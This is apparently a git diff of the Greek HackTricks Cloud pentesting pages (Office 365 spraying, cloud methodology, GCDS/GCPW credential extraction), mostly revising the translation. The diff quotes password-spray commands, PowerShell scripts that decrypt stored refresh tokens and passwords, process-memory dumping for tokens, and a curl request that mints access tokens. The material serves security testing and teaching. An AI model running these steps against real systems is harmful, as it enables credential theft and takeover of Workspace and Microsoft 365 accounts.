σημειώστε ότι αυτή η τεχνική είναι **πολύ θορυβώδης** και η Blue Team μπορεί να **την πιάσει εύκολα**. Επιπλέον, η **αναγκαστική πολυπλοκότητα κωδικών πρόσβασης** και η χρήση **MFA** μπορούν να κάνουν αυτή την τεχνική κάπως άχρηστη. Μπορείτε να εκτελέσετε μια επίθεση password spray με [**MSOLSpray**](https://github.com/dafthack/MSOLSpray) -```powershell +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` @@ -17,8 +17,8 @@ Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ```bash python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` -Ή με [**MailSniper**](https://github.com/dafthack/MailSniper) -```powershell +Ή με τον [**MailSniper**](https://github.com/dafthack/MailSniper) +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 4ceb23d43..8f2454250 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,35 +6,35 @@ ## Basic Methodology -Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που πρέπει να ελέγξει** ένας pentester όταν δοκιμάζει ένα cloud περιβάλλον: +Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που πρέπει να ελέγξει** ένας pentester όταν δοκιμάζει ένα περιβάλλον cloud: - **Έλεγχοι αναφοράς** - Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **υπηρεσίες που χρησιμοποιούνται** - Θα σας επιτρέψει επίσης να βρείτε κάποιες **γρήγορες κακοδιαρθρώσεις**, καθώς μπορείτε να εκτελέσετε τις περισσότερες από αυτές τις δοκιμές με **αυτοματοποιημένα εργαλεία** - **Καταμέτρηση Υπηρεσιών** -- Πιθανώς δεν θα βρείτε πολλές περισσότερες κακοδιαρθρώσεις εδώ αν έχετε εκτελέσει σωστά τις δοκιμές αναφοράς, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στη δοκιμή αναφοράς. -- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο cloud env +- Πιθανότατα δεν θα βρείτε πολλές περισσότερες κακοδιαρθρώσεις εδώ αν έχετε εκτελέσει σωστά τις δοκιμές αναφοράς, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στις δοκιμές αναφοράς. +- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο περιβάλλον cloud - Αυτό θα βοηθήσει πολύ στα επόμενα βήματα - **Έλεγχος εκτεθειμένων πόρων** - Αυτό μπορεί να γίνει κατά τη διάρκεια της προηγούμενης ενότητας, πρέπει να **ανακαλύψετε τα πάντα που είναι δυνητικά εκτεθειμένα** στο Διαδίκτυο με κάποιο τρόπο και πώς μπορεί να προσπελαστεί. -- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως περιπτώσεις με ιστοσελίδες ή άλλες θύρες που είναι εκτεθειμένες, καθώς και για άλλες **υπηρεσίες cloud που διαχειρίζονται** που μπορούν να ρυθμιστούν για να είναι εκτεθειμένες (όπως DBs ή buckets) +- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως περιπτώσεις με ιστοσελίδες ή άλλες θύρες που είναι εκτεθειμένες, καθώς και σε άλλες **υπηρεσίες cloud που διαχειρίζονται** που μπορούν να ρυθμιστούν για να είναι εκτεθειμένες (όπως DBs ή buckets) - Στη συνέχεια, θα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να είναι εκτεθειμένος ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; κακοδιαρθρώσεις στην εκτεθειμένη υπηρεσία;) - **Έλεγχος δικαιωμάτων** - Εδώ θα πρέπει να **ανακαλύψετε όλα τα δικαιώματα κάθε ρόλου/χρήστη** μέσα στο cloud και πώς χρησιμοποιούνται -- Πάρα πολλές **υψηλά προνομιούχες** (έχουν έλεγχο σε όλα) λογαριασμοί; Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε να έχουν γίνει ήδη στις δοκιμές αναφοράς +- Πάρα **πολλοί υψηλά προνομιούχοι** (έχουν έλεγχο σε όλα) λογαριασμοί; Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε να έχουν γίνει ήδη στις δοκιμές αναφοράς - Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **ομοσπονδία**, μπορεί να χρειαστεί να τους ρωτήσετε για περαιτέρω **πληροφορίες** σχετικά με **πώς ανατίθεται κάθε ρόλος** (δεν είναι το ίδιο να ανατίθεται ο ρόλος του διαχειριστή σε 1 χρήστη ή σε 100) - Δεν είναι **αρκετό να βρείτε** ποιους χρήστες έχουν **δικαιώματα διαχειριστή** "\*:\*". Υπάρχουν πολλά **άλλα δικαιώματα** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορεί να είναι πολύ **ευαίσθητα**. -- Επιπλέον, υπάρχουν **πιθανές διαδρομές privesc** που μπορείτε να ακολουθήσετε εκμεταλλευόμενοι τα δικαιώματα. Όλα αυτά τα πράγματα θα πρέπει να ληφθούν υπόψη και **όσες περισσότερες διαδρομές privesc είναι δυνατόν** θα πρέπει να αναφερθούν. +- Επιπλέον, υπάρχουν **πιθανές διαδρομές privesc** που μπορούν να ακολουθηθούν εκμεταλλευόμενοι τα δικαιώματα. Όλα αυτά τα πράγματα θα πρέπει να ληφθούν υπόψη και **όσες περισσότερες διαδρομές privesc είναι δυνατόν** θα πρέπει να αναφερθούν. - **Έλεγχος Ενοποιήσεων** -- Είναι πολύ πιθανό ότι **ενοποιήσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο cloud env. -- Για **ενοποιήσεις του cloud που ελέγχετε** με άλλη πλατφόρμα θα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για (κακή) χρήση αυτής της ενοποίησης** και θα πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\ +- Είναι πολύ πιθανό ότι **ενοποιήσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο περιβάλλον cloud. +- Για τις **ενοποιήσεις του cloud που ελέγχετε** με άλλη πλατφόρμα, θα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για (κακή) χρήση αυτής της ενοποίησης** και θα πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\ Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο το GCP αποκτά δεδομένα (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP που επεξεργάζεται αυτά τα δεδομένα). - Για **ενοποιήσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, θα πρέπει να ρωτήσετε **ποιος έχει πρόσβαση εξωτερικά για (κακή) χρήση αυτής της ενοποίησης** και να ελέγξετε πώς χρησιμοποιούνται αυτά τα δεδομένα.\ Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί μια εικόνα Docker που φιλοξενείται στο GCR, θα πρέπει να ρωτήσετε ποιος έχει πρόσβαση για να την τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτή η εικόνα όταν εκτελείται μέσα σε ένα AWS cloud. ## Multi-Cloud tools -Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά cloud περιβάλλοντα. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα. +Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά περιβάλλοντα cloud. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα. ### [PurplePanda](https://github.com/carlospolop/purplepanda) @@ -170,7 +170,7 @@ steampipe check all Έλεγχος όλων των Έργων -Για να ελέγξετε όλα τα έργα, πρέπει να δημιουργήσετε το αρχείο `gcp.spc` υποδεικνύοντας όλα τα έργα που πρέπει να δοκιμαστούν. Μπορείτε απλά να ακολουθήσετε τις οδηγίες από το παρακάτω σενάριο. +Για να ελέγξετε όλα τα έργα, πρέπει να δημιουργήσετε το αρχείο `gcp.spc` υποδεικνύοντας όλα τα έργα που πρέπει να δοκιμαστούν. Μπορείτε απλώς να ακολουθήσετε τις οδηγίες από το παρακάτω σενάριο. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -242,7 +242,7 @@ AWS, GCP, Azure, DigitalOcean.\ ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Το Cloudlist είναι ένα **multi-cloud εργαλείο για την απόκτηση Assets** (Ονόματα υπολογιστών, Διευθύνσεις IP) από Παρόχους Cloud. +Το Cloudlist είναι ένα **multi-cloud εργαλείο για την απόκτηση Assets** (Ονόματα κεντρικών υπολογιστών, Διευθύνσεις IP) από Παρόχους Cloud. {{#tabs }} {{#tab name="Cloudlist" }} @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="Δεύτερη Καρτέλα" }} +{{#tab name="Second Tab" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -263,12 +263,12 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**cartography**](https://github.com/lyft/cartography) +### [**χαρτογράφηση**](https://github.com/lyft/cartography) -Το Cartography είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j. +Η χαρτογράφηση είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j. {{#tabs }} -{{#tab name="Install" }} +{{#tab name="Εγκατάσταση" }} ```bash # Installation docker image pull ghcr.io/lyft/cartography @@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων υποδομών cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j. +Το Starbase συλλέγει πόρους και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j. {{#tabs }} {{#tab name="Install" }} @@ -362,7 +362,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) Ανακαλύψτε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell. -```powershell +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -412,7 +412,7 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “γράφημα επίθεσης” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιήσουν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας να προσανατολίζονται γρήγορα και να προτεραιοποιούν την εργασία απόκρισης σε περιστατικά. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “γράφημα επίθεσης” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιήσουν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας να προσανατολίζονται και να προτεραιοποιούν γρήγορα την εργασία απόκρισης σε περιστατικά. ### Office365 diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index 88e23cc4c..6d2777861 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -6,7 +6,7 @@ Αυτό είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να **συγχρονίσετε τους χρήστες και τις ομάδες του Active Directory σας με το Workspace σας** (και όχι το αντίστροφο κατά τη στιγμή της συγγραφής αυτού του κειμένου). -Είναι ενδιαφέρον γιατί είναι ένα εργαλείο που θα απαιτήσει τα **διαπιστευτήρια ενός superuser του Workspace και ενός προνομιούχου χρήστη AD**. Έτσι, μπορεί να είναι δυνατό να το βρείτε μέσα σε έναν διακομιστή τομέα που θα συγχρονίζει χρήστες από καιρό σε καιρό. +Είναι ενδιαφέρον γιατί είναι ένα εργαλείο που θα απαιτήσει τα **διαπιστευτήρια ενός superuser του Workspace και ενός προνομιούχου χρήστη του AD**. Έτσι, μπορεί να είναι δυνατό να το βρείτε μέσα σε έναν διακομιστή τομέα που θα συγχρονίζει χρήστες από καιρό σε καιρό. > [!NOTE] > Για να εκτελέσετε ένα **MitM** στο **`config-manager.exe`** δυαδικό αρχείο, απλώς προσθέστε την παρακάτω γραμμή στο αρχείο `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`** @@ -22,7 +22,7 @@ Το δυαδικό αρχείο `config-manager.exe` (το κύριο δυαδικό αρχείο GCDS με GUI) θα αποθηκεύσει τα διαπιστευτήρια του Active Directory που έχουν ρυθμιστεί, το refresh token και την πρόσβαση από προεπιλογή σε ένα **xml αρχείο** στον φάκελο **`C:\Program Files\Google Cloud Directory Sync`** σε ένα αρχείο που ονομάζεται **`Untitled-1.xml`** από προεπιλογή. Αν και θα μπορούσε επίσης να αποθηκευτεί στα `Documents` του χρήστη ή σε **οποιονδήποτε άλλο φάκελο**. -Επιπλέον, το μητρώο **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** μέσα στο κλειδί **`open.recent`** περιέχει τις διαδρομές προς όλα τα πρόσφατα ανοιγμένα αρχεία διαμόρφωσης (xml). Έτσι, είναι δυνατό να **το ελέγξετε για να τα βρείτε**. +Επιπλέον, το μητρώο **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** μέσα στην κλειδαριά **`open.recent`** περιέχει τις διαδρομές προς όλα τα πρόσφατα ανοιγμένα αρχεία διαμόρφωσης (xmls). Έτσι, είναι δυνατό να **το ελέγξετε για να τα βρείτε**. Οι πιο ενδιαφέρουσες πληροφορίες μέσα στο αρχείο θα είναι: ```xml @@ -49,12 +49,12 @@ XMmsPMGxz7nkpChpC7h2ag== [...] ``` -Σημειώστε πώς το **refresh** **token** και ο **κωδικός πρόσβασης** του χρήστη είναι **κρυπτογραφημένα** χρησιμοποιώντας **AES CBC** με ένα τυχαία παραγόμενο κλειδί και IV που αποθηκεύονται στο **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (όπου η βιβλιοθήκη **`prefs`** Java αποθηκεύει τις προτιμήσεις) στα κλειδιά συμβολοσειράς **`/Encryption/Policy/V2.iv`** και **`/Encryption/Policy/V2.key`** που αποθηκεύονται σε base64. +Σημειώστε πώς το **refresh** **token** και ο **κωδικός πρόσβασης** του χρήστη είναι **κρυπτογραφημένα** χρησιμοποιώντας **AES CBC** με ένα τυχαία παραγόμενο κλειδί και IV που αποθηκεύονται στο **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (όπου η βιβλιοθήκη **`prefs`** της Java αποθηκεύει τις προτιμήσεις) στα κλειδιά συμβολοσειράς **`/Encryption/Policy/V2.iv`** και **`/Encryption/Policy/V2.key`** που αποθηκεύονται σε base64.
Powershell script για την αποκρυπτογράφηση του refresh token και του κωδικού πρόσβασης -```powershell +```bash # Paths and key names $xmlConfigPath = "C:\Users\c\Documents\conf.xml" $regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util" @@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE] -> Σημειώστε ότι είναι δυνατόν να ελέγξετε αυτές τις πληροφορίες ελέγχοντας τον κώδικα java του **`DirSync.jar`** από **`C:\Program Files\Google Cloud Directory Sync`** αναζητώντας τη συμβολοσειρά `exportkeys` (καθώς αυτό είναι το cli param που περιμένει το δυαδικό `upgrade-config.exe` για να εξάγει τα κλειδιά). +> Σημειώστε ότι είναι δυνατόν να ελέγξετε αυτές τις πληροφορίες ελέγχοντας τον κώδικα java του **`DirSync.jar`** από **`C:\Program Files\Google Cloud Directory Sync`** αναζητώντας τη συμβολοσειρά `exportkeys` (καθώς αυτό είναι το cli param που αναμένει το δυαδικό αρχείο `upgrade-config.exe` για να εξάγει τα κλειδιά). -Αντί να χρησιμοποιήσετε το script powershell, είναι επίσης δυνατό να χρησιμοποιήσετε το δυαδικό **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** με το param `-exportKeys` και να αποκτήσετε το **Key** και **IV** από το μητρώο σε hex και στη συνέχεια να χρησιμοποιήσετε κάποιο cyberchef με AES/CBC και αυτό το κλειδί και IV για να αποκρυπτογραφήσετε τις πληροφορίες. +Αντί να χρησιμοποιήσετε το script powershell, είναι επίσης δυνατό να χρησιμοποιήσετε το δυαδικό αρχείο **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** με το param `-exportKeys` και να αποκτήσετε το **Key** και **IV** από το μητρώο σε hex και στη συνέχεια να χρησιμοποιήσετε κάποιο cyberchef με AES/CBC και αυτό το κλειδί και IV για να αποκρυπτογραφήσετε τις πληροφορίες. ### GCDS - Εξαγωγή tokens από τη μνήμη -Ακριβώς όπως με το GCPW, είναι δυνατό να εξάγετε τη μνήμη της διαδικασίας του `config-manager.exe` (είναι το όνομα του κύριου δυαδικού GCDS με GUI) και θα είστε σε θέση να βρείτε tokens ανανέωσης και πρόσβασης (αν έχουν ήδη παραχθεί).\ -Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τις ρυθμισμένες διαπιστευτήρια AD. +Ακριβώς όπως με το GCPW, είναι δυνατόν να εξάγετε τη μνήμη της διαδικασίας του `config-manager.exe` (είναι το όνομα του κύριου δυαδικού αρχείου GCDS με GUI) και θα μπορείτε να βρείτε tokens ανανέωσης και πρόσβασης (αν έχουν ήδη παραχθεί).\ +Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τις διαπιστεύσεις που έχουν ρυθμιστεί στο AD.
Εξαγωγή διαδικασιών config-manager.exe και αναζήτηση tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force ```
-### GCDS - Δημιουργία διαπιστευτηρίων πρόσβασης από διαπιστευτήρια ανανέωσης +### GCDS - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια -Χρησιμοποιώντας το διαπιστευτήριο ανανέωσης, είναι δυνατόν να δημιουργηθούν διαπιστευτήρια πρόσβασης χρησιμοποιώντας το και το client ID και client secret που καθορίζονται στην παρακάτω εντολή: +Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή: ```bash curl -s --data "client_id=118556098869.apps.googleusercontent.com" \ --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \ @@ -321,6 +321,6 @@ curl -X POST \ # You could also change the password of a user for example ``` > [!CAUTION] -> Δεν είναι δυνατόν να δοθεί στον νέο χρήστη ο ρόλος του Super Amin επειδή το **refresh token δεν έχει αρκετά scopes** για να δώσει τα απαιτούμενα προνόμια. +> Δεν είναι δυνατόν να δοθεί στον νέο χρήστη ο ρόλος του Super Admin επειδή το **refresh token δεν έχει αρκετά scopes** για να δώσει τα απαιτούμενα προνόμια. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md index fc2773bd4..52cdf90ff 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -Νέες γραμμές έχουν προστεθεί για να γίνει πιο αναγνώσιμο. - > [!NOTE] > Ήταν δυνατό να εκτελεστεί μια MitM εγκαθιστώντας το `Proxifier` στον υπολογιστή, αντικαθιστώντας το δυαδικό αρχείο `utilman.exe` με ένα `cmd.exe` και εκτελώντας τις **λειτουργίες προσβασιμότητας** στη σελίδα σύνδεσης των Windows, οι οποίες θα εκτελέσουν ένα **CMD** από το οποίο μπορείτε να **εκκινήσετε και να ρυθμίσετε το Proxifier**.\ -> Μην ξεχάσετε να **μπλοκάρετε την κυκλοφορία QUICK UDP** στο `Proxifier` ώστε να υποβαθμιστεί σε επικοινωνία TCP και να μπορείτε να το δείτε. +> Μην ξεχάσετε να **μπλοκάρετε την κυκλοφορία QUICK UDP** στο `Proxifier` ώστε να υποβαθμιστεί σε επικοινωνία TCP και να μπορείτε να τη δείτε. > -> Επίσης, ρυθμίστε και στις "Υπηρεσίες και άλλοι χρήστες" και τις δύο επιλογές και εγκαταστήστε το πιστοποιητικό Burp CA στα Windows. +> Επίσης, ρυθμίστε και τις δύο επιλογές στο "Υπηρεσίες και άλλοι χρήστες" και εγκαταστήστε το πιστοποιητικό CA του Burp στα Windows. Επιπλέον, προσθέτοντας τα κλειδιά `enable_verbose_logging = 1` και `log_file_path = C:\Public\gcpw.log` στο **`HKLM:\SOFTWARE\Google\GCPW`** είναι δυνατό να αποθηκεύει κάποια αρχεία καταγραφής. ### GCPW - Δακτυλικό αποτύπωμα Είναι δυνατό να ελέγξετε αν το GCPW είναι εγκατεστημένο σε μια συσκευή ελέγχοντας αν υπάρχει η παρακάτω διαδικασία ή αν υπάρχουν τα παρακάτω κλειδιά μητρώου: -```powershell +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -66,7 +64,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." ``` Στο **`HKCU:\SOFTWARE\Google\Accounts`** είναι δυνατή η πρόσβαση στο email του χρήστη και στο κρυπτογραφημένο **refresh token** αν ο χρήστης έχει συνδεθεί πρόσφατα. -Στο **`HKLM:\SOFTWARE\Google\GCPW\Users`** είναι δυνατή η εύρεση των **domains** που επιτρέπεται να συνδεθούν στο κλειδί `domains_allowed` και σε υποκλειδιά είναι δυνατή η εύρεση πληροφοριών για τον χρήστη όπως email, pic, όνομα χρήστη, διάρκεια ζωής token, handle token... +Στο **`HKLM:\SOFTWARE\Google\GCPW\Users`** είναι δυνατή η εύρεση των **domains** που επιτρέπεται να συνδεθούν στο κλειδί `domains_allowed` και σε υποκλειδιά είναι δυνατή η εύρεση πληροφοριών σχετικά με τον χρήστη όπως email, pic, όνομα χρήστη, διάρκεια ζωής token, handle token... > [!NOTE] > Το token handle είναι ένα token που ξεκινά με `eth.` και από το οποίο μπορεί να εξαχθεί κάποια πληροφορία με ένα αίτημα όπως: @@ -102,16 +100,16 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." Επιπλέον, το αρχείο **`C:\ProgramData\Google\Credential Provider\Policies\\PolicyFetchResponse`** είναι ένα json που περιέχει τις πληροφορίες διαφόρων **ρυθμίσεων** όπως `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (αν αρκετοί χρήστες από το Workspace μπορούν να συνδεθούν στον υπολογιστή) και `validityPeriodDays` (αριθμός ημερών που ένας χρήστης δεν χρειάζεται να επαληθευτεί απευθείας με την Google). -## GCPW - Λήψη Tokens +## GCPW - Λάβετε Tokens -### GCPW - Ανανεώσεις Tokens Μητρώου +### GCPW - Ανανεώστε Tokens Μητρώου Μέσα στο μητρώο **`HKCU:\SOFTWARE\Google\Accounts`** μπορεί να είναι δυνατή η εύρεση κάποιων λογαριασμών με το **`refresh_token`** κρυπτογραφημένο μέσα. Η μέθοδος **`ProtectedData.Unprotect`** μπορεί εύκολα να το αποκρυπτογραφήσει.
Λάβετε HKCU:\SOFTWARE\Google\Accounts δεδομένα και αποκρυπτογραφήστε τα refresh_tokens -```powershell +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey ``` Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI ``` -Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=FEQxHRRP_5I), αν δεν βρείτε το token στο μητρώο, είναι δυνατόν να τροποποιήσετε την τιμή (ή να διαγράψετε) από **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** και την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στον υπολογιστή, θα χρειαστεί να συνδεθεί ξανά και το **token θα αποθηκευτεί στο προηγούμενο μητρώο**. +Όπως εξηγείται σε [**αυτό το βίντεο**](https://www.youtube.com/watch?v=FEQxHRRP_5I), αν δεν βρείτε το token στο μητρώο, είναι δυνατόν να τροποποιήσετε την τιμή (ή να τη διαγράψετε) από **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** και την επόμενη φορά που ο χρήστης θα έχει πρόσβαση στον υπολογιστή, θα χρειαστεί να συνδεθεί ξανά και το **token θα αποθηκευτεί στο προηγούμενο μητρώο**. ### GCPW - Δίσκοι Ανανεωτικών Tokens @@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco Επιπλέον, η κρυπτογράφηση μπορεί να βρεθεί σε αυτόν τον κώδικα: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216) -Μπορεί να παρατηρηθεί ότι χρησιμοποιείται AESGCM, το κρυπτογραφημένο token ξεκινά με μια **έκδοση** (**`v10`** αυτή τη στιγμή), στη συνέχεια έχει [**12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), και στη συνέχεια έχει το **cypher-text** με ένα τελικό **mac 16B**. +Μπορεί να παρατηρηθεί ότι χρησιμοποιείται AESGCM, το κρυπτογραφημένο token ξεκινά με μια **έκδοση** (**`v10`** αυτή τη στιγμή), στη συνέχεια [**έχει 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), και στη συνέχεια έχει το **cypher-text** με ένα τελικό **mac 16B**. -### GCPW - Dumping tokens από τη μνήμη διεργασιών +### GCPW - Dumping tokens από τη μνήμη διαδικασιών -Το παρακάτω σενάριο μπορεί να χρησιμοποιηθεί για να **dump** κάθε **Chrome** διεργασία χρησιμοποιώντας το `procdump`, να εξάγει τις **αλφαβητικές σειρές** και στη συνέχεια να **αναζητήσει** σειρές σχετικές με **access και refresh tokens**. Αν το Chrome είναι συνδεδεμένο σε κάποια Google τοποθεσία, κάποια **διεργασία θα αποθηκεύει refresh και/ή access tokens στη μνήμη!** +Το παρακάτω σενάριο μπορεί να 